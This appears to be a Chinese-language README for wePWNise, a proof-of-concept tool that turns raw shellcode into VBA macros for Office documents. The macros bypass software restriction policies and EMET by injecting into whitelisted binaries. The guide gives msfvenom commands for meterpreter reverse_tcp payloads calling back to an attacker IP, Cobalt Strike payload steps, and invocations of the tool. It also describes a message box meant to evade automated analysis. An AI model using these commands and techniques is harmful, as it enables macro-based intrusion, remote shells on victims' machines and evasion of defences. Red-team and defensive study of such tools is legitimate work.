wePWNise是一个概念验证的Python脚本,用于生成可在Office宏或模板中使用的VBA代码。它设计时考虑了自动化和集成,针对锁定环境场景。该工具枚举软件限制策略(SRPs)和EMET缓解措施,并动态识别安全的二进制文件以注入有效载荷。wePWNise与现有利用框架(如Metasploit、Cobalt Strike)集成,也接受任何自定义原始格式的有效载荷。
开始使用wePWNise前,请先查看其支持的选项:
usage: wepwnise.py [-h] -i86 <x86_shellcode> -i64 <x64_shellcode> [--inject64]
[--out <output_file>] [--msgbox] [--msg <window_message>]
optional arguments:
-h, --help show this help message and exit
-i86 <x86_shellcode> Input x86 raw shellcode
-i64 <x64_shellcode> Input x64 raw shellcode
--inject64 Inject into 64 Bit. Set to False when delivering x86
payloads only. Default is True
--out <output_file> File to output the VBA macro to
--msgbox Present messagebox to prevent automated analysis.
Default is True.
--msg <window_message>
Custom message to present the victim if --msgbox is
set to True
wePWNise需要同时提供32位和64位原始有效载荷,以便在未知目标上传递合适的类型。但是,如果仅针对x86架构,则必须提供一个虚拟的64位有效载荷来替代缺失的代码。
为了绕过某些自动化分析配置,代码执行时会打开一个消息框。可以通过在--msg参数中定义其值来更改消息框的文本。要禁用此功能,请将--msgbox参数设置为False。
由于长SRPs/EMET策略可能导致性能问题,wePWNise会读取两个配置文件(binary-paths.txt 和 directory-paths.txt),其中包含不太可能被监控的可执行文件和目录列表,以便优先检查。用户可以通过编辑这些文件的内容来定义自己的选择。如果文件为空,wePWNise将直接从注册表中读取SRPs/EMET策略,并完全根据检索到的信息做出注入选择。
以下章节描述了一些wePWNise的基本使用示例。
首先准备好x86和x64架构的原始格式有效载荷,并确保Metasploit监听器配置正确。
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -o /payloads/msf86.raw
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -a x86_64 -o /payloads/msf64.raw
然后将wePWNise指向生成的有效载荷,并将输出定向到msf_wepwn.txt。
$ wepwnise.py -i86 /payloads/msf86.raw -i64 /payloads/msf64.raw --out /payloads/msf_wepwn.txt
要在Cobalt Strike中生成原始有效载荷,导航到以下菜单,从"Output"下拉菜单中选择"Raw"格式。重复此过程并启用x64复选框以生成64位有效载荷。
Attacks > Packages > Payload Generator
将生成的有效载荷输入到wePWNise中以生成VBA代码。
$ wepwnise.py -i86 /payloads/cs86.raw -i64 /payloads/cs64.raw --msgbox False --out /payloads/cs_wepwn.txt
在某些情况下,可能只有x86有效载荷可用。由于wePWNise需要同时提供32位和64位有效载荷,要禁用64位注入,请创建一个虚拟的64位文件并将--inject64参数设置为False。
$ echo "+" > /payloads/dummy64.raw
$ wepwnise.py -i86 /payloads/custom.raw -i64 /payloads/dummy64.raw --inject64 False --out /payloads/wepwn86.txt
类似地,要仅生成64位有效载荷,请创建一个虚拟的x86文件并将其作为wePWNise的-i86命令行参数提供。
wePWNise根据3-Clause BSD许可证发布,由MWR InfoSecurity维护。
该工具最初由Vincent Yiu (@vysecurity)开发。